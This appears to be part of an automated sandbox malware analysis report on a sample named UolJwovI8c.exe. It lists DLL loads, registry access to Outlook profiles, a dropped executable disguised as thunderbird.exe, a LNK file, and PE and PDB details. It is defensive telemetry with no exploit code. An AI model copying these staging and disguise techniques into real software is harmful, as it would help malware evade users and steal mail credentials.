Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: pla.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: js3250.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_core.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: smime3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: ssl3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldap32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldappr32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_compat.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: softokn3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: js3250.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_core.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: smime3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: ssl3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldap32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldappr32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_compat.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: softokn3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: comsvcs.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmlua.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: js3250.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_core.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: smime3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: ssl3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldap32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nsldappr32v50.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: xpcom_compat.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nspr4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: nss3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: softokn3.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plds4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: plc4.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pla.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: tdh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\UolJwovI8c.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F6D90F11-9C73-11D3-B32E-00C04F990BB4}\InProcServer32 Jump to behavior
Source: dicxrxnwre.8.dr LNK file: ..\..\Roaming\GZManage\thunderbird.exe
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Qjsync.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: UolJwovI8c.exe Static file information: File size 10750445 > 1048576
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: UolJwovI8c.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: UolJwovI8c.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: UolJwovI8c.exe, 00000000.00000000.2141512330.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000000.00000002.2270107152.00000000005DB000.00000002.00000001.01000000.00000003.sdmp, UolJwovI8c.exe, 00000002.00000002.2268802426.000000000055B000.00000002.00000001.01000000.00000005.sdmp, UolJwovI8c.exe, 00000002.00000000.2146405308.000000000055B000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nss\smime\smime3.pdb source: thunderbird.exe, 00000003.00000003.2261175868.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\nsprpub\lib\libc\src\plc4.pdb source: thunderbird.exe, 00000003.00000003.2261061954.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb0x source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\xpcom\build\xpcom_core.pdb source: UolJwovI8c.exe, 00000002.00000003.2152299284.0000000001237000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2266453328.00000000030F0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: e:\builds\tinderbox\Tb-Mozilla1.8-Release\WINNT_5.0_Depend\mozilla\js\src\js3250.pdb source: thunderbird.exe, 00000003.00000003.2260293637.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: Qjsync.exe, 0000000C.00000002.2990467872.0000000000807000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: Qjsync.exe, 0000000C.00000002.2993611855.0000000004625000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994456320.000000000502D000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995684403.000000000562C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3002973538.0000000006428000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993940701.0000000004A2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992434111.0000000003C2E000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2997448882.0000000005820000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993776348.000000000482B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001297741.0000000006023000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3001773674.0000000006222000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009942750.000000000682F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994768666.0000000005227000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2998408291.0000000005A2A000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990815003.000000000231E000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2995178015.0000000005424000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010883351.0000000006E23000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994299092.0000000004E2B000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992753897.0000000004029000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010479279.0000000006A26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2994106239.0000000004C25000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3011054669.0000000007027000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2999681039.0000000005C26000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992266988.0000000003A2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2991394784.0000000002CA0000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3010694132.0000000006C2F000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992592814.0000000003E21000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2992985783.0000000004228000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3009392654.0000000006627000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2993433030.0000000004426000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3000721798.0000000005E20000.00000004.00000001.000200
Source: Binary string: C:\bb\ke-win-x86-r\edit-6.1\build\release\scintilla\bin\SciLexer.pdb source: UolJwovI8c.exe, 00000002.00000002.2269434913.0000000010078000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: wntdll.pdbUGP source: thunderbird.exe, 00000003.00000002.2267589142.000000000414F000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000003.00000002.2267700401.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424320446.00000000048BE000.00000004.00000001.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424021424.00000000041A6000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2424136432.0000000004500000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2659895514.0000000004DD1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2661703622.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906941608.0000000004480000.00000004.00000800.00020000.00000000.sdmp, thunderbird.exe, 0000000D.00000002.2906825762.0000000004123000.00000004.00000020.00020000.00000000.sdmp
